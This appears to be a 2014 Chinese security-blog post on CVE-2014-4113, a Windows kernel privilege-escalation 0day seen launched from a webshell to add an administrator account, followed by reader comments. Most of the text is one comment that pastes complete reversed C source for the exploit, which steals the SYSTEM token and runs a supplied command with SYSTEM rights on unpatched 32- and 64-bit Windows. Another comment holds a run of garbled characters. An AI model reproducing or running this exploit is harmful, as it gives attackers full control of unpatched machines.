- A+
瞌睡龙 (drops) | 2014-10-15 12:20
from:CVE-2014-4113
监测程序显示从WEBSHELL使用Win64.exe来提升权限
net localgroup administrators admin /add
net 命令已 Local System 权限执行:
随后分析Win64.exe二进制发现,它利用了一个0day 提权成SYSTEM用户,然后创建具有这些访问权限的新进程来运行参数中的命令。该文件本身只有55千字节大小,只包含几个功能:
1. 创建一个存储部分,存储一个将被内核调用的函数指针,触发该漏洞。
2. 利用窗口管理器的内存破坏漏洞,模拟用户交互调用回调函数。
3. 把EPROCESS结构中的访问令牌指针替换为系统进程之一。
4. 以SYSTEM权限执行第一个参数中的命令。
下图演示了如何在cmd当中提升权限:
该攻击代码写的非常好,成功率为100%。
该win64.exe工具只在需要的时候上传随后立刻删除。
Win64.exe的编译时间是2014年5月3日,该漏洞至少已经利用5个月了。
这个工具还有一个有意思的地方是,内部有一个字符串为“woqunimalegebi”
该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本。
微软已经发布安全公告以及补丁MS14-058
$("img").load(function(){ if($(this).attr("width")>640) $(this).attr("width",640); });
One of the other interesting elements of the tool is an embedded string “woqunimalegebi”, which is a popular Chinese swearword that is also often misspelled when written in Chinese characters in order to evade online censors and can be translated as “Fertile Grass Mud Horse in the Mahler Gobi Desert”
地址!!
下载地址呢
wugui (摄像头已贴标签ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็ฏ็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็็) | 2014-11-02 22:56
中国黑客。
//
// Cve-2014-4113 'win32/win64 exp C code' reversed from 'exe exp'
// By 0x710DDDD
// 2014-10-31
// Compiled pass on VS2010
//
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "user32.lib")
/////////////////////////////////////////////////////////////
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
////////////////////////////////////////////////////////////
typedef LPVOID PEPROCESS ;
typedef LONG (__stdcall *PZWQUERYSYSTENINFORMATION)(DWORD, PVOID, ULONG, PDWORD) ;
typedef LONG (__stdcall *PZWALLOCATEVIRTUALMEMORY) (HANDLE, PVOID, ULONG, PULONG,
ULONG, ULONG) ;
typedef LONG (__stdcall *PLOOKUPPROCESSBYID)(HANDLE, PEPROCESS *) ;
typedef LPVOID (__stdcall *PTICURRENT)() ;
PZWQUERYSYSTENINFORMATION fpQuerySysInfo = NULL ;
PZWALLOCATEVIRTUALMEMORY fpAllocateVirtualMem = NULL ;
PLOOKUPPROCESSBYID fpLookupProcessById = NULL ;
DWORD dwTokenOffset = 0 ;
DWORD gFlag1 = 0 ;
DWORD gFlag2 = 0 ;
DWORD gFlag3 = 0 ;
WNDPROC lpPrevWndFunc = NULL ;
DWORD dwCurProcessId = 0 ;
DWORD dwSystemProcessId = 0 ;
//////////////////////////////////////
void PrintMsg(const char *formatString, ...)
{
va_list va ;
va_start(va, formatString) ;
vprintf(formatString, va) ;
ExitProcess(0);
}
#ifdef _WIN64
DWORD InitTokenOffset()
{
DWORD result;
OSVERSIONINFO VerInfo;
VerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO) ;
if (!GetVersionExA(&VerInfo))
{
printf("FAIL : GetVersion\n") ;
ExitProcess(0) ;
}
result = 1;
if (VerInfo.dwMajorVersion == 5)
{
dwTokenOffset = 0x160 ;
gFlag2 = 1 ;
}
else if (VerInfo.dwMajorVersion == 6)
{
switch(VerInfo.dwMinorVersion)
{
case 0:
{
dwTokenOffset = 0x168 ;
break ;
}
default:
{
dwTokenOffset = 0x208 ;
}
}
}
else
{
result = 0 ;
}
if(result == 0)
{
printf("FAIL : InitTokenOffset\n") ;
ExitProcess(0) ;
}
return result;
}
#else
DWORD InitTokenOffset()
{
DWORD result;
OSVERSIONINFO VerInfo;
VerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO) ;
if (!GetVersionExA(&VerInfo))
{
printf("FAIL : GetVersion\n") ;
ExitProcess(0) ;
}
result = 1;
if (VerInfo.dwMajorVersion == 5)
{
switch(VerInfo.dwMinorVersion)
{
case 0:
{
dwTokenOffset = 0x12C ;
break ;
}
case 1:
{
dwTokenOffset = 0x0C8 ;
break ;
}
case 2:
{
dwTokenOffset = 0x0D8 ;
break ;
}
default:
{
dwTokenOffset = 0x0C8 ;
}
}
}
else if (VerInfo.dwMajorVersion == 6)
{
switch(VerInfo.dwMinorVersion)
{
case 0:
{
dwTokenOffset = 0x0E0 ;
break ;
}
case 1:
{
dwTokenOffset = 0x0F8 ;
break ;
}
default:
{
result = 0 ;
}
}
}
else
{
result = 0 ;
}
if(result == 0)
{
printf("FAIL : InitTokenOffset\n") ;
ExitProcess(0) ;
}
return result;
}
#endif
HMODULE GetKrnlNtBase(char *szNtName)
{
char Buffer[0xA] ;
DWORD dwRetLength ;
DWORD SystemModuleInfo = 0x0B ;
if(0xC0000004 != fpQuerySysInfo(SystemModuleInfo, Buffer, 0x0A, &dwRetLength))
{
printf("FAILED \n") ;
ExitProcess(0) ;
}
PSYSTEM_MODULE_INFORMATION pBuf = (PSYSTEM_MODULE_INFORMATION)LocalAlloc(LMEM_ZEROINIT,
dwRetLength) ;
if(0 != fpQuerySysInfo(SystemModuleInfo, pBuf, dwRetLength, &dwRetLength))
{
printf("FAILED \n") ;
ExitProcess(0) ;
}
PSYSTEM_MODULE_INFORMATION_ENTRY pModEntry = pBuf->Module ;
HMODULE hModuleBase = NULL ;
for(ULONG i = 0 ; i < pBuf->Count ; i++ )
{
//ASCII "\SystemRoot\system32\ntkrnlpa.exe"
if(strstr(pModEntry->ImageName, "nt") && strstr(pModEntry->ImageName, "exe"))
{
strcpy_s(szNtName, MAX_PATH, (char*)((ULONG_PTR)pModEntry->ImageName + pModEntry->PathLength)) ;
///strncpy(szNtName, (char*)((ULONG_PTR)pModEntry->ImageName + pModEntry->PathLength), MAX_PATH) ;
hModuleBase = (HMODULE)(pModEntry->Base) ;
break ;
}
pModEntry++ ;
}
if(hModuleBase == NULL)
{
printf("FAIL : Get Ntoskrnl Base\n") ;
ExitProcess(0) ;
}
LocalFree(pBuf);
return hModuleBase;
}
DWORD InitExpVars()
{
HMODULE hNtdll ;
hNtdll = LoadLibraryA("ntdll.dll");
if(hNtdll == NULL)
{
printf("FAIL : hNtdll == NULL \n") ;
ExitProcess(0) ;
}
fpQuerySysInfo = (PZWQUERYSYSTENINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
fpAllocateVirtualMem = (PZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
if(!fpQuerySysInfo || !fpAllocateVirtualMem)
{
printf("FAIL : GetProcAddress ZwQuerySystemInformation or ZwAllocateVirtualMemory\n") ;
ExitProcess(0) ;
}
char NtKernelName[MAX_PATH] ;
HMODULE hKrnlNtBase = GetKrnlNtBase(NtKernelName);
HMODULE hUserNtBase = LoadLibraryA(NtKernelName);
fpLookupProcessById = (PLOOKUPPROCESSBYID)((ULONG_PTR)GetProcAddress(hUserNtBase, \
"PsLookupProcessByProcessId") - \
(ULONG_PTR)hUserNtBase + \
(ULONG_PTR)hKrnlNtBase ) ;
dwCurProcessId = GetCurrentProcessId() ;
dwSystemProcessId = 4 ;
FreeLibrary(hUserNtBase);
return 1;
}
LPVOID CallPtiCurrent()
{
LPVOID result = NULL ;
HMODULE hUser32 = NULL ;
PVOID dstFunc ;
hUser32 = LoadLibraryA("user32.dll");
if(hUser32)
{
dstFunc = (PVOID)GetProcAddress(hUser32, "AnimateWindow");
if(gFlag2) // gFlag2 always zero in win32 exp
{
dstFunc = (PVOID)GetProcAddress(hUser32, "CreateSystemThreads");
}
if(dstFunc && *(WORD *)hUser32 == 0x5A4D )
{
IMAGE_NT_HEADERS *pPEHead = (IMAGE_NT_HEADERS *)((ULONG_PTR)hUser32 + \
*(DWORD*)((ULONG_PTR)hUser32+0x3C)) ;
#ifdef _WIN64
ULONG_PTR ImageBase = pPEHead->OptionalHeader.ImageBase;
ULONG_PTR ImageBound = pPEHead->OptionalHeader.SizeOfImage + ImageBase;
#else
DWORD ImageBase = pPEHead->OptionalHeader.ImageBase;
DWORD ImageBound = pPEHead->OptionalHeader.SizeOfImage + ImageBase;
#endif
PBYTE p = (PBYTE)dstFunc ;
// search function 'PtiCurrent' address in code segment
for(DWORD i = 0 ; i < 70 ; i++)
{
if((*p == 0xE8 && gFlag2 == 0) || (*p == 0xE9 && gFlag2))
{
if(p < (PBYTE)ImageBase || p > (PBYTE)ImageBound) break ;
PTICURRENT fpPtiCurrent ;
// jmp offset is 4 bytes and can be negative
fpPtiCurrent = (PTICURRENT)(*(INT *)(p+1) + (LONG_PTR)p + 5) ;
result = fpPtiCurrent() ; // result -> tagTHREADINFO
break ;
}
p++ ;
}
}
FreeLibrary(hUser32);
}
return result ;
}
// This is our fake 'WndProc' used to exploit
LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
PEPROCESS pCur, pSys ;
fpLookupProcessById((HANDLE)dwCurProcessId, &pCur);
fpLookupProcessById((HANDLE)dwSystemProcessId, &pSys);
#ifdef _WIN64
*(PVOID *)((ULONG_PTR)pCur + dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys + dwTokenOffset);
#else
*(PVOID *)((DWORD)pCur + dwTokenOffset) = *(PVOID *)((DWORD)pSys + dwTokenOffset);
#endif
return 0 ;
}
DWORD InitExploitMem(LPVOID *pAllocAddr)
{
LPVOID pThreadInfo = CallPtiCurrent() ;
#ifdef _WIN64
*(DWORD*)pAllocAddr = 0xFFFFFFFB ;
#else
*(DWORD*)pAllocAddr = 1 ;
#endif
ULONG uRegionSize = 0x2000 ;
LONG iret = fpAllocateVirtualMem( GetCurrentProcess(),
pAllocAddr, 0, &uRegionSize,
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE ) ;
if(iret)
{
printf("Allocate Mem Failed \n") ;
ExitProcess(0) ;
}
// fill fake tagWND struct
#ifdef _WIN64
*(PVOID *)(0x10000000B) = pThreadInfo ;
*(BYTE *) (0x100000025) = 4 ; // 0x100000025-0xFFFFFFFB=0x2A, bServerSideWindowProc
*(PVOID *)(0x10000008B) = (PVOID)ShellCode ; // 0x10000008B-0xFFFFFFFB=0x90, lpfnWndProc
#else
*(PVOID*)(0x3) = pThreadInfo ; // 3-(-5) = 8
*(BYTE*) (0x11) = (BYTE)4 ; // 17-(-5) = 0x16, bServerSideWindowProc
*(PVOID*)(0x5B) = (PVOID)ShellCode ; // 0x5B-(-5) = 0x60, lpfnWndProc
#endif
return 1;
}
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if(uMsg == WM_ENTERIDLE) // 0x121
{
if (gFlag1 != 1)
{
gFlag1 = 1;
PostMessageA(hWnd, WM_KEYDOWN, 0x28, 0) ;
PostMessageA(hWnd, WM_KEYDOWN, 0x27, 0) ;
PostMessageA(hWnd, WM_LBUTTONDOWN, 0x00, 0) ;
}
}
return DefWindowProcA(hWnd, uMsg, wParam, lParam) ;
}
HMENU InitPopupMenu()
{
MENUITEMINFO Item1, Item2 ;
HMENU hMenu1, hMenu2 ;
memset(&Item1, 0, sizeof(Item1));
memset(&Item2, 0, sizeof(Item2));
hMenu1 = CreatePopupMenu();
if(hMenu1 == NULL) return 0 ;
Item1.cbSize = sizeof(Item1) ;
Item1.fMask = MIIM_STRING ; // Retrieves or sets the dwTypeData member.
if(FALSE == InsertMenuItemA(hMenu1, 0, TRUE, &Item1))
{
DestroyMenu(hMenu1) ;
return NULL ;
}
hMenu2 = CreatePopupMenu() ;
if(hMenu2 == NULL) return NULL ;
static char szMenuText[2] = " " ;
Item2.fMask = MIIM_STRING | MIIM_SUBMENU ;
Item2.dwTypeData = szMenuText ;
Item2.cch = 1 ; // length of szMenuText
Item2.hSubMenu = hMenu1 ;
Item2.cbSize = sizeof(Item2) ;
if(FALSE == InsertMenuItemA(hMenu2, 0, TRUE, &Item2))
{
printf("InsertMenuItem FAIL [%d] !\n", GetLastError()) ;
DestroyMenu(hMenu1) ;
DestroyMenu(hMenu2) ;
return NULL ;
}
return hMenu2 ;
}
LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if(uMsg != 0x1EB)
{
return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ;
}
EndMenu() ;
return (DWORD)(-5) ; // DWORD
}
LRESULT CALLBACK WndProcHook(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *pWndProcArgs = (CWPSTRUCT*)lParam ;
if(pWndProcArgs->message == 0x1EB) // MN_FINDMENUWINDOWFROMPODWORD
{
if(!gFlag3)
{
gFlag3 = 1 ;
if(UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook))
{
#ifdef _WIN64
lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA( pWndProcArgs->hwnd,
GWLP_WNDPROC,
(LONG_PTR)NewWndProc ) ; // LONG_PTR
#else
lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd,
GWL_WNDPROC,
(LONG)NewWndProc ) ; // LONG
#endif
}
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
DWORD WINAPI ThreadProc(LPVOID lParam)
{
WNDCLASS wc ;
SYSTEM_INFO SystemInfo ;
HWND hWnd ;
DWORD result = 0 ;
LPVOID pAllocAddr ;
memset(&SystemInfo, 0, sizeof(SystemInfo));
memset(&wc, 0, sizeof(wc));
wc.lpfnWndProc = MyWndProc ;
wc.lpszClassName = "woqunimalegebi" ;
GetNativeSystemInfo(&SystemInfo);
#ifdef _WIN64
if(SystemInfo.dwOemId == PROCESSOR_ARCHITECTURE_INTEL)
{
printf("System Is Not Win64\n") ;
ExitProcess(0) ;
}
#else
if(SystemInfo.dwOemId == PROCESSOR_ARCHITECTURE_AMD64)
{
printf("System Is Not Win32\n") ;
ExitProcess(0) ;
}
#endif
RegisterClassA(&wc) ;
hWnd = CreateWindowExA(0, wc.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0) ;
if(hWnd == NULL) return 0 ;
InitExploitMem(&pAllocAddr) ;
HMENU hMenu2 = InitPopupMenu();
if(hMenu2)
{
DWORD dwThreadId = GetCurrentThreadId();
if(SetWindowsHookExA(WH_CALLWNDPROC, WndProcHook, 0, dwThreadId))
{
// trigger
#ifdef _WIN64
if(TrackPopupMenu(hMenu2, 0, 0xFFFFD8F0, 0xFFFFD8F0, 0, hWnd, 0))
#else
if(TrackPopupMenu(hMenu2, 0, -10000, -10000, 0, hWnd, 0))
#endif
{
PostMessageA(hWnd, 0, 0, 0);
result = 1;
}
}
}
DestroyWindow(hWnd) ;
if (hMenu2)
{
DestroyMenu(hMenu2);
}
UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook);
VirtualFree(pAllocAddr, 0, MEM_RELEASE);
return result;
}
DWORD main(DWORD argc, char *argv[])
{
InitTokenOffset() ;
InitExpVars() ;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadProc, 0, 0, 0);
if(WaitForSingleObject(hThread, 300000))
{
TerminateThread(hThread, 0);
PrintMsg("FAIL [%d]\n", GetLastError()) ;
}
if(argv[1])
{
STARTUPINFO StartupInfo ;
PROCESS_INFORMATION ProcessInfo ;
memset(&StartupInfo, 0, sizeof(StartupInfo)) ;
memset(&ProcessInfo, 0, sizeof(ProcessInfo)) ;
StartupInfo.cb = sizeof(STARTUPINFO) ;
StartupInfo.wShowWindow = SW_HIDE ;
StartupInfo.dwFlags = STARTF_USESHOWWINDOW ;
CreateProcessA(0, argv[1], 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo) ;
WaitForSingleObject(ProcessInfo.hProcess, 60000) ;
CloseHandle(ProcessInfo.hProcess) ;
CloseHandle(ProcessInfo.hThread) ;
}
return 0 ;
}